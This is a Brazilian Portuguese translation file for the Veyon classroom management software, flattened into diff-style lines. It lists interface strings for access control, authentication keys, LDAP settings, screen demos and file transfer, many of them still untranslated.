tradução existente, por favor entre em contato com um desenvolvedor Veyon! + + + About %1 %2 + Sobre %1 %2 + + + Support Veyon project with a donation + Apoie o projeto Veyon com uma doação + + + + AccessControlPage + + Computer access control + Controle de acesso do computador + + + Grant access to every authenticated user (default) + Conceder acesso para cada usuário autenticado (padrão) + + + Test + Teste + + + Restrict access to members of certain user groups + Restringir acesso para membros de determinados grupos + + + Process access control rules + Regras de controle de acesso do processo + + + User groups authorized for computer access + Grupos de usuário autorizados para acesso do computador + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Adicione os grupos cujos membros devem estar autorizados a acessar computadores na sua rede Veyon. + + + Authorized user groups + Grupos de usuários autorizados + + + All groups + Todos os grupos + + + ... + ... + + + Access control rules + Regras de controle de acesso + + + Add access control rule + Adicionar regra de controle de acesso + + + Remove access control rule + Remover regra de controle de acesso + + + Move selected rule down + Mover para baixo a regra selecionada + + + Move selected rule up + Mover para cima a regra selecionada + + + Edit selected rule + Editar a regra selecionada + + + Enter username + Digite o nome do usuário + + + Please enter a user login name whose access permissions to test: + Digite o login do usuário para testar suas permissões de acesso: + + + Access allowed + Acesso permitido + + + The specified user is allowed to access computers with this configuration. + O usuário especificado pode acessar computadores com esta configuração. + + + Access denied + Acesso negado + + + The specified user is not allowed to access computers with this configuration. + O usuário especificado não pode acessar computadores com esta configuração. + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + Editar regras de controle de acesso + + + General + Geral + + + enter a short name for the rule here + digite aqui um nome curto para a regra + + + Rule name: + Nome da regra: + + + enter a description for the rule here + digite aqui uma descrição para a regra + + + Rule description: + Descrição da regra: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Inverter todas as condições + + + Conditions + Condições + + + is member of group + é membro do grupo + + + is located in room + está localizado na sala + + + Accessing computer is localhost + O computador acessando é localhost + + + Accessing user is logged on user + O usuário acessando está logado como usuário + + + Accessing user is already connected + O usuário acessando já está conectado + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Se mais de uma condição for ativada, todas devem ser atendidas para que a regra seja aplicada (E lógico). Se apenas uma das múltiplas condições tiver que ser atendida (OU lógico), crie múltiplas regras de controle de acesso. + + + Action + Ação + + + Allow access + Permitir acesso + + + Deny access + Negar acesso + + + Ask logged on user for permission + Pedir permissão para um usuário logado + + + None (rule disabled) + Nenhuma (regras desativadas) + + + Accessing user + Usuário acessando + + + Accessing computer + Computador acessando + + + Local (logged on) user + Usuários locais (logados) + + + Local computer + Computador local + + + Always process rule and ignore conditions + Sempre processe as regras e ignore as condições + + + No user logged on + Nenhum usuário logado + + + Accessing computer is located in the same room as local computer + O acesso ao computador está localizado na mesma sala do computador local + + + Accessing user has one or more groups in common with local (logged on) user + O acesso ao usuário tem um ou mais grupos em comum com o usuário local (logado) + + + + AccessControlRulesTestDialog + + Access control rules test + Teste das regras de controle de acesso + + + Accessing user: + Acessando usuário: + + + Local computer: + Computador local: + + + Accessing computer: + Acessando computador: + + + Please enter the following user and computer information in order to test the configured ruleset. + Digite as informações seguintes sobre o usuário e o computador para testar o conjunto de regras configurado. + + + Local user: + Usuário local: + + + Connected users: + Usuários conectados: + + + The access in the given scenario is allowed. + O acesso é permitido na configuração atual. + + + The access in the given scenario is denied. + O acesso é negado na configuração atual. + + + The access in the given scenario needs permission of the logged on user. + O acesso na configuração atual requer a permissão de um usuário logado. + + + ERROR: Unknown action + ERRO: Ação desconhecida + + + Test result + Resultado do teste + + + + AuthKeysConfigurationPage + + Authentication keys + Chaves de autenticação + + + Introduction + Introdução + + + Key file directories + + + + Public key file base directory + Diretório base do arquivo de chave pública + + + Private key file base directory + Diretório base do arquivo de chave privada + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + Apagar chave + + + Import key + Importar chave + + + Export key + Exportar chave + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + Por favor verifique suas permissões. + + + Key name contains invalid characters! + Chave contém caracteres inválidos! + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + Arquivo "%1" já existe. + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + <N/A> + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + Apagar chave de autenticação + + + List authentication keys + Listar chaves de autenticação + + + Import public or private key + Importar chave pública ou privada + + + Export public or private key + Exportar chave pública ou privada + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + CHAVE + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + NOME + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + ARQUIVO + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Nome + + + Type + Tipo + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Salas & computadores + + + Rooms + Salas + + + Computers + Computadores + + + Name + Nome + + + Host address/IP + Endereço do Host/IP + + + MAC address + Endereço MAC + + + Add new room + Adicionar nova sala + + + Remove selected room + Remover sala selecionada + + + Add new computer + Adicionar novo computador + + + Remove selected computer + Remover computador selecionado + + + New room + Nova sala + + + New computer + Novo computador + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + Adicionar uma sala ou computador + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + Listar todas as salas e computadores + + + Remove a room or computer + Remover uma sala ou computador + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + Tipo + + + Name + Nome + + + Host address + + + + MAC address + Endereço MAC + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + Sala "%1" + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + Sala + + + Computer + Computador + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Servidor VNC embutido (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Servidor VNC embutido (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Sala: %1 + + + Host/IP address: %1 + Servidor/endereço IP: %1 + + + Active features: %1 + Funcionalidades ativas: %1 + + + Online and connected + Online e conectado + + + Establishing connection + Estabelecendo conexão + + + Computer offline or switched off + Computador offline ou desligado + + + Service unreachable or not running + Serviço inacessível ou parado + + + Authentication failed or access denied + Falha na autenticação ou acesso negado + + + Disconnected + Desconectado + + + No user logged on + Nenhum usuário logado + + + Logged on user: %1 + Usuário logado: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + %1 Serviço %2 em %3:%4 + + + Authentication error + Erro na autenticação + + + Remote access + Acesso remoto + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + Gerenciamento do computador + + + Add room + Adicionar sala + + + Save computer/user list + Salvar lista de computador/usuário + + + Select output filename + Selecione o nome do arquivo de saída + + + CSV files (*.csv) + Arquivos CSV (*.csv) + + + File error + Erro de arquivo + + + Could not write the computer and users list to %1! Please check the file access permissions. + Não foi possível salvar a lista de computadores e usuários em %1! Verifique as permissões de acesso ao arquivo. + + + Computer search + Pesquisa de computador + + + + ComputerManager + + User + Usuário + + + Missing network object directory plugin + Está faltando o plugin de diretório de objetos de rede + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + Nenhum plugin de diretório de objetos de rede padrão foi encontrado. Por favor verifique sua instalação ou configure um backend de diretório de objetos de rede diferente via o Configurador %1. + + + Computer name;Host name;User + Nome do computador;Nome do host;Usuário + + + Room detection failed + Falha na detecção de sala + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + Não foi possível determinar a sala a que esse computador pertence. Isso indica um problema com a configuração do sistema. Todas as salas serão exibidas no gerenciamento de computadores. + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + Por favor especifique um arquivo existente para importar. + + + Please specify a valid filename for the configuration export. + Por favor especifique um nome valido para o arquivo exportado. + + + Please specify a valid key. + Por favor especifique uma chave válida. + + + Specified key does not exist in current configuration! + Chave especificada não existe na configuração atual. + + + Please specify a valid value. + Por favor especifique um valor valido. + + + Configure Veyon at command line + Configurar Veyon pela linha de comando. + + + Output file is not writable! + Arquivo de saída não é gravável! + + + Output directory is not writable! + Diretório de saída não é gravável! + + + Configuration file is not readable! + O arquivo de configuração não pode ser lido! + + + Clear system-wide Veyon configuration + Apagar a configuração Veyon em todo o sistema + + + List all configuration keys and values + Listar todas as chaves de configuração e valores + + + Import configuration from given file + Importar configuração de um dado arquivo + + + Export configuration to given file + Exportar configuração de um dado arquivo + + + Read and output configuration value for given key + Valor de configuração de leitura e saída para a chave + + + Write given value to given configuration key + Escrever um valor para a chave de configuração + + + Unset (remove) given configuration key + Remover a chave de configuração + + + Commands for managing the configuration of Veyon + Comandos para gerenciar a configuração do Veyon + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + Não foi possível modificar a propriedade autostart (início automático) para o Serviço %1. + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + Não foi possível mudar a configuração para geração SAS por software. Enviar Ctrl+Alt+Del via controle remoto não vai funcionar! + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + Exibição %1 + + + + DemoConfigurationPage + + Demo server + Servidor de exibição + + + Tunables + Tunables + + + ms + ms + + + Key frame interval + Intervalo de frame da chave + + + Memory limit + Limite de memória + + + Use multithreading (experimental) + Utilizar multithreading (experimental) + + + MB + MB + + + Update interval + Intervalo de atualização + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Exibir em tela cheia + + + Stop demo + Parar exibição + + + Window demo + Exibir em janela + + + Give a demonstration by screen broadcasting + Exibir por transmissão de tela + + + Demo server + Servidor de exibição + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + Neste modo a sua tela está sendo exibida em modo tela cheia em todos os computadores enquanto os dispositivos de entrada dos usuários estão travados. + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + Neste modo a sua tela está sendo exibida em uma janela em todos os computadores. Os usuários podem mudar para outras janelas como necessário. + + + + DesktopAccessDialog + + Desktop access dialog + Caixa de diálogo de acesso ao desktop + + + Confirm desktop access + Confirmar acesso ao desktop + + + Never for this session + Nunca para esta sessão + + + Always for this session + Sempre para esta sessão + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + O usuário %1 no computador %2 deseja acessar o seu desktop. Permitir o acesso? + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Nome + + + Path + + + + Add new program + Adicionar novo programa + + + Remove selected program + Remover programa selecionado + + + Predefined websites + + + + Remove selected website + + + + URL + URL + + + New program + Novo programa + + + New website + Novo website + + + + DesktopServicesFeaturePlugin + + Run program + Executar programa + + + Open website + Abrir website + + + Click this button to open a website on all computers. + Clique neste botão para abrir um website em todos os computadores. + + + Please enter the URL of the website to open: + Por favor digite o URL do website a ser aberto: + + + Start programs and services in user desktop + Iniciar programas e serviços no desktop do usuário + + + Click this button to run a program on all computers. + Clique neste botão para executar um programa em todos os computadores. + + + Run program "%1" + Executar programa "%1" + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + Servidor VNC externo + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Configuração do servidor VNC externo + + + Port: + Porta: + + + Password: + Senha: + + + + FeatureControl + + Feature control + Controle de funcionalidades + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Interface do usuário + + + Language: + Idioma: + + + Use system language setting + Usar a configuração de idioma do sistema + + + Veyon + Veyon + + + Logging + Registrando + + + Log file directory + Diretório de arquivo de log + + + ... + ... + + + Log level + Nível de log + + + Nothing + Nada + + + Only critical messages + Somente mensagens críticas + + + Errors and critical messages + Mensagens críticas e de erros + + + Warnings and errors + Avisos e erros + + + Information, warnings and errors + Informações, avisos e erros + + + Debug messages and everything else + Mensagens de depuração e tudo o mais + + + Limit log file size + Limite do tamanho do arquivo de log + + + Clear all log files + Remover todos os arquivos de log + + + Log to standard error output + Log para a saída de erro padrão + + + Network object directory + Diretório de objetos de rede + + + Backend: + Backend: + + + Update interval: + Intervalo de atualização: + + + %1 service + serviço %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + O serviço %1 precisa ser interrompido temporariamente para remover os arquivos de log. Continuar? + + + Log files cleared + Arquivos de log limpos + + + All log files were cleared successfully. + Todos os arquivos de log foram limpos com sucesso. + + + Error + Erro + + + Could not remove all log files. + Não foi possível remover todos os arquivos de log. + + + MB + MB + + + Rotate log files + Rodar arquivos de log + + + x + x + + + seconds + segundos + + + Write to logging system of operating system + + + + Authentication + Autenticação + + + Method: + Método: + + + Logon authentication + Autenticação de logon + + + Key file authentication + Autenticação de arquivo de chave + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + Backend: + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + Bloquear acesso à internet + + + Allow access to the internet + Permitir acesso à Internet + + + Show help about command + Mostrar ajuda sobre comando + + + Block internet + Bloquear internet + + + Click this button to block access to the internet. + + + + Unblock internet + Desbloquear internet + + + Click this button to allow access to the internet. + + + + Control access to the internet + Controlar acesso à internet + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + Descrição de erro LDAP: %1 + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Configurações básicas + + + General + Geral + + + LDAP server and port + Servidor LDAP e porta + + + Bind DN + Bind DN + + + Bind password + Senha bind + + + Anonymous bind + Bind anônimo + + + Use bind credentials + Utilizar credenciais de bind + + + Test + Teste + + + Base DN + Base DN + + + Fixed base DN + Base DN fixo + + + e.g. dc=example,dc=org + e.g. dc=exemplo,dc=org + + + Discover base DN by naming context + Descobrir o DN base por contexto de nomeação + + + e.g. namingContexts or defaultNamingContext + e.g. namingContexts ou defaultNamingContext + + + Environment settings + Configurações de ambiente + + + Object trees + Árvores de objeto + + + Computer tree + Árvore de computador + + + e.g. OU=Groups + e.g. OU=Grupos + + + User tree + Árvore de usuário + + + e.g. OU=Users + e.g. OU=Usuários + + + e.g. OU=Computers + e.g. OU=Computadores + + + Group tree + Árvore de grupo + + + Perform recursive search operations in object trees + Executar operações de pesquisa recursivas em árvores de objeto + + + Object attributes + Atributos de objeto + + + e.g. hwAddress + e.g. hwAddress + + + Computer host name attribute + Atributo de nome de host do computador + + + e.g. member or memberUid + e.g. member ou memberUid + + + User login attribute + Atributo de login do usuário + + + e.g. dNSHostName + e.g. dNSHostName + + + Computer MAC address attribute + Atributo de endereço MAC do computador + + + Group member attribute + Atributo de membro do grupo + + + e.g. uid or sAMAccountName + e.g. uid ou sAMAccountName + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + Nomes de host armazenados como nomes de domínio totalmente qualificados (FQDN, e.g. meuhost.exemplo.org) + + + Advanced settings + Configurações avançadas + + + Optional object filters + Filtros de objeto opcionais + + + Filter for user groups + FIltro para grupos de usuários + + + Filter for users + FIltro para usuários + + + Filter for computer groups + Filtro para grupos de computador + + + Group member identification + Identificação de membro do grupo + + + Distinguished name (Samba/AD) + Nome distinto (Samba/AD) + + + Configured attribute for user login or computer host name (OpenLDAP) + Atributo configurado para login de usuário ou nome de host do computador (OpenLDAP) + + + List all groups of a user + Listar todos os grupos de um usuário + + + List all groups of a computer + Listar todos os grupos de um computador + + + Get computer object by IP address + Obter objeto de computador pelo endereço IP + + + LDAP connection failed + Falha na conexão LDAP + + + LDAP bind failed + Falha no bind de LDAP + + + LDAP bind successful + Bind de LDAP bem sucedido + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + Conexão com o servidor LDAP foi feita com sucesso e foi executado um bind de LDAP. As configurações LDAP básicas estão configuradas corretamente. + + + LDAP base DN test failed + Falha no teste de base DN LDAP + + + LDAP base DN test successful + Teste de base DN LDAP bem sucedido + + + LDAP naming context test failed + Falha no teste de contexto de nomeação LDAP + + + LDAP naming context test successful + Teste de contexto de nomeação LDAP bem sucedido + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + O contexto de nomeação LDAP foi consultado com sucesso. As seguintes entradas foram encontradas: +%1 + + + user tree + árvore de usuário + + + group tree + árvore de grupo + + + computer tree + árvore de computador + + + Enter username + Digite o nome do usuário + + + Please enter a user login name (wildcards allowed) which to query: + Por favor digite um nome de login de usuário (wildcards permitidos) para ser consultado: + + + user objects + objetos de usuário + + + user login attribute + Atributo de login do usuário + + + Enter group name + Digite o nome do grupo + + + Please enter a group name whose members to query: + Por favor digite um nome de um grupo cujos membros devem ser consultados: + + + group members + Membros do grupo + + + group member attribute + Atributo de membro de grupo + + + Group not found + Grupo não encontrado + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + Não foi possível encontrar um grupo com o nome "%1". Por favor verifique o nome do grupo ou o parâmetro de árvore. + + + Enter computer name + Digite o nome do computador + + + Please enter a computer host name to query: + Por favor digite um nome de host para consultar: + + + Invalid host name + Nome de host inválido + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + Você configurou os nomes de host dos computadores para serem armazenados como nomes de domínio totalmente qualificados (FQDN) mas digitou um nome de host sem domínio. + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + Você configurou os nomes de host dos computadores para serem armazenados como nomes de host simples sem um nome de domínio, mas digitou um nome de host com uma parte com nome de domínio. + + + computer objects + objetos do computador + + + computer host name attribute + Atributo do nome de host do computador + + + Enter computer DN + Digite o DN do computador + + + Please enter the DN of a computer whose MAC address to query: + Por favor digite o DN de um computador cujos endereços MAC devem ser consultados: + + + computer MAC addresses + endereços MAC dos computadores + + + computer MAC address attribute + Atributo de endereço MAC do computador + + + users + usuários + + + user groups + grupos de usuários + + + computer groups + grupos de computadores + + + Please enter a user login name whose group memberships to query: + Por favor digite um nome de login cujas associações de grupo devem ser consultadas: + + + groups of user + Grupos do usuário + + + user login attribute or group membership attribute + Atributo de login do usuário ou atributo de associação a um grupo + + + User not found + Usuário não encontrado + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + Não foi possível encontrar um usuário com o nome "%1". Por favor verifique o nome de usuário ou o parâmetro de usuário. + + + Enter host name + Digite o nome do host + + + Please enter a computer host name whose group memberships to query: + Por favor digite um nome de host cujas associações de grupo devem ser consultadas: + + + groups of computer + grupos do computador + + + computer host name attribute or group membership attribute + Atributo de nome de host do computador ou atributo de associação a um grupo + + + Computer not found + Computador não encontrado + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + Não foi possível encontrar um computador com o nome de host "%1". Por favor verifique o nome de host ou o parâmetro de árvore do computador. + + + Enter computer IP address + Digite o endereço IP do computador + + + Please enter a computer IP address which to resolve to an computer object: + Por favor digite um endereço de IP que deve ser resolvido para um objeto: + + + Host name lookup failed + Falha ao procurar o nome do Host + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + Não foi possível encontrar nome de host para o endereço IP %1. Por favor verifique suas configurações de servidor DNS. + + + computers + computadores + + + LDAP %1 test failed + Falha no teste LDAP %1 + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + Não foi possível consultar nenhuma das entradas no %1 configurado. Por favor verifique o parâmetro de %1. + +%2 + + + LDAP %1 test successful + Teste LDAP %1 bem sucedido + + + The %1 has been queried successfully and %2 entries were found. + O %1 foi consultado com sucesso e %2 entradas foram encontradas. + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + Não foi possível consultar nenhum %1. Por favor verifique o parâmetro %2 ou digite o nome de um objeto existente. + +%3 + + + %1 %2 have been queried successfully: + +%3 + %1 %2 foram consultados com sucesso: + +%3 + + + LDAP filter test failed + Falha no teste de filtro LDAP + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + Não foi possível consultar nenhum %1 usando o filtro configurado. Por favor verifique o filtro LDAP para %1. + +%2 + + + LDAP filter test successful + Teste de filtro LDAP bem sucedido + + + %1 %2 have been queried successfully using the configured filter. + %1 %2 foram consultados com sucesso usando o filtro configurado. + + + (only if different from group tree) + (apenas se for diferente da árvore de grupo) + + + Computer group tree + Árvore de grupos de computador + + + computer group tree + árvore de grupos de computador + + + Filter for computers + Filtro para computadores + + + e.g. room or computerLab + e.g. sala ou salaDeComputador + + + List all members of a computer room + Listar todos os membros de uma sala de computador + + + List all computer rooms + Listar todas as salas de computador + + + Enter computer room name + Digite o nome da sala de computador + + + Please enter the name of a computer room (wildcards allowed): + Por favor digite o nome de uma sala de computador (curingas são permitidos): + + + computer rooms + salas de computador + + + computer room attribute + atributo das salas de computador + + + Please enter the name of a computer room whose members to query: + Por favor digite o nome de uma sala de computador cujos membros devem ser consultados: + + + computer room members + membros da sala de computador + + + computer group filter or computer room member aggregation + Filtro de grupo de computador ou agregação de membros em sala de computador + + + Computer rooms + Salas de computador + + + Integration tests + Testes de integração + + + Computer room attribute + Atributo da sala de computador + + + Aggregate computers in a room via: + Agregar computadores em uma sala via: + + + Computer groups + Grupos de computadores + + + Computer room attribute in computer objects + Atributo de sala de computador em objetos de computador + + + Test not applicable + Teste não aplicável + + + Computer room name attribute + Atributo do nome da sala de computador + + + e.g. name or description + e.g. nome ou descrição + + + Filter for computer containers + Filtro para contêineres de computador + + + Computer containers or OUs + Contêineres de computador ou OUs + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + Por favor mude as configurações da sala de computador para usar grupos ou contêineres como salas. Daí o atributo especificado será inquirido ao invés do nome comum de grupos ou objetos de contêiner. Caso contrário você não precisa configurar esse atributo. + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + Por favor mude as configurações da sala de computador abaixo para usar contêineres como salas de computador. Caso contrário você não precisa configurar esse filtro. + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + TLS + + + SSL + SSL + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + Auto-configurar o DN base via contexto de nomeação + + + Query objects from LDAP directory + Objetos de query do diretório LDAP + + + Show help about command + Mostrar ajuda sobre comando + + + Commands for configuring and testing LDAP/AD integration + Comandos para configurar e testar integração LDAP/AD + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + <N/A> + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + <N/A> + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + Plugin implementando funções abstratas para a plataforma Linux + + + + MainToolBar + + Configuration + Configuração + + + Disable balloon tooltips + Desativar balões tooltip + + + Show icons only + Exibir apenas ícones + + + + MainWindow + + MainWindow + JanelaPrincipal + + + toolBar + Ferrramentas + + + General + Geral + + + &File + &Arquivo + 